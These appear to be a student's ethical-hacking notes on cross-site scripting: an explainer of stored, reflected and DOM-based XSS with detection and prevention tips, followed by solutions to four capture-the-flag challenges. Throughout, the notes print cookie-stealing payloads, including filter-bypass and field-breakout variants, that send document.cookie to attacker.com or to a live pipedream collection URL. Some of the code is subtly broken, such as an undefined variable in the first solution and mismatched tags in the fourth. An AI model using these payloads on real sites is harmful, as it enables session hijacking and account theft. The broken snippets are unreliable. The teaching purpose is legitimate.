Segfault ethical hacking week 11

 

Understanding XSS (Cross-Site Scripting): A Deep Dive

XSS (Cross-Site Scripting) is one of the most common and dangerous client-side web vulnerabilities. It allows attackers to inject malicious scripts into web applications, targeting users through their browsers.

What is XSS?

XSS is a client-side code injection vulnerability. Malicious scripts—typically written in JavaScript—are injected into content delivered to a user's browser. When the browser renders the content, the script executes within the security context of the application, which can lead to session hijacking, credential theft, and more.

The script is executed in the victim’s browser, not the attacker’s.

Types of XSS Attacks

1. Stored XSS (Persistent XSS)

In a Stored XSS attack, the malicious script is permanently stored on the target server—such as in a forum post, comment section, or database field.

Example:

<script>document.location='http://attacker.com?cookie='+document.cookie;</script>

When a user views the affected page, the script runs automatically, potentially stealing cookies or executing other malicious actions.

Real-World Scenario:

• Attacker posts a blog comment containing <script>...</script>

• Victim views the post

• Their browser executes the script

• Cookie/session data is silently exfiltrated

2. Reflected XSS (Non-Persistent XSS)

In Reflected XSS, the script is not stored. Instead, it is reflected off the server—typically via query parameters in a URL—and immediately executed.

Key Characteristics:

• Often used via crafted links

• Relies on social engineering to trick users into clicking

Example:

https://victim-site.com/search?q=<script>...</script>

Reflected XSS is typically delivered using GET requests. POST is not effective in most reflected scenarios.

3. DOM-Based XSS

DOM-Based XSS is triggered entirely on the client side, using JavaScript operations like document.write, innerHTML, or location.hash. The payload is never sent to the server.

Example:

document.write("<img src='" + location.hash.substring(1) + "'>");

 Why Attackers Love XSS

1. Session Hijacking

Many web applications store Session IDs in cookies.

var cookieData = document.cookie;

Attackers can exfiltrate these cookies by creating an image tag that sends the data to their server:

var i = new Image();
i.src = "http://attacker.com/?cookie=" + cookieData;

This silently triggers a GET request to the attacker's server, delivering the victim’s session ID.

Once the attacker has the session ID, they can impersonate the user.

Recommended Image:
A diagram showing:

• Victim browser ➡️ Attacker’s server (via invisible image)

• Session hijack flow (User → App → Attacker)

2. Credential Theft (Keylogging)

XSS can be used to embed malicious keyloggers that record a user's credentials or private data and send it back to the attacker.

How to Detect XSS

XSS Type	Detection Method
Stored XSS	Check database/user-generated content
Reflected XSS	Use Burp Suite to analyze parameters
DOM-Based XSS	Analyze JavaScript code and DOM operations

Look for:

• document.write

• innerHTML

• eval (rare, but dangerous)

• location, document.URL, or document.referrer being used unsafely

If something appears on the screen without a corresponding HTTP response, it may have come from JavaScript logic—investigate the DOM.

Prevention Strategies

1. HTML Entity Encoding

Convert special characters (<, >, ", ') into HTML entities to prevent them from being interpreted as code.

Character	HTML Entity
<	&lt;
>	&gt;
"	&quot;
'	&#x27;
/	&#x2F;

2. Use Security Libraries

• Use frameworks that auto-escape output (e.g., React, Angular)

• Sanitize inputs on both client and server

• Validate and encode all output properly

3. Content Security Policy (CSP)

A strong CSP can prevent inline scripts from executing, limiting the damage of successful XSS injections.

Final Thoughts

XSS is a critical vulnerability that continues to plague web applications. While it requires client-side injection, its impact can be server-wide, especially when sessions, credentials, or sensitive data are compromised.

As a developer or security analyst:

• Always encode output

• Be cautious of user inputs

• Review JavaScript DOM manipulations

• Leverage tools like Burp Suite, RequestBin, and browser dev tools to test thoroughly

CTF 

XSS 1

Attacker server:
https://eon8thskxxf9une.m.pipedream.net

Injected script:

<script>

  var cookie = document.cookie;  // User cookie

  var i = new Image();  // Image tag

  // Set the image tag’s src attribute  

  // Send the user cookie to the attacker server

  i.src = "https://eon8thskxxf9une.m.pipedream.net?cookie=" + cookieData;

</script>

Write a post with the script injected.

Insert the post page URL into the URL that the administrator will visit.

Retrieve the flag on the attacker server.

XSS 2

The input data is displayed on the screen.

Attacker server:
https://eon8thskxxf9une.m.pipedream.net

Injected script:

   test1');

var cookieData = document.cookie;

var i = new Image();

i.src = "https://eon8thskxxf9une.m.pipedream.net?cookie=" + cookieData;

var j = ('

Inject the script into the search field.

Insert the post page URL into the URL that the administrator will visit.

Retrieve the flag on the attacker server.

XSS 3

The input data is displayed on the screen.

Attacker server:
https://eon8thskxxf9une.m.pipedream.net

Injected script:

  yjlee"/>

<script>

var cookieData = document.cookie;

var i = new Image();

i.src = "https://eon8thskxxf9une.m.pipedream.net?cookie=" + cookieData;

</script>

<"

Inject the script for modification.

Insert the post page URL into the URL that the administrator will visit.

Retrieve the flag on the attacker server.

XSS 4

1. Script string filtering is enabled.

2. Upper/lowercase filtering is not applied.

3. 
   

Attacker server:
https://eon8thskxxf9une.m.pipedream.net

Injected script:

   <scrcsriptipt>

var cookieData = document.cookie;

var i = new Image();

i.src = "https://eon8thskxxf9une.m.pipedream.net?cookie=" + cookieData;

</scrscriptipt>

Inject into the title field.

Inject the script for modification.

Insert the post page URL into the URL that the administrator will visit.

Retrieve the flag on the attacker server.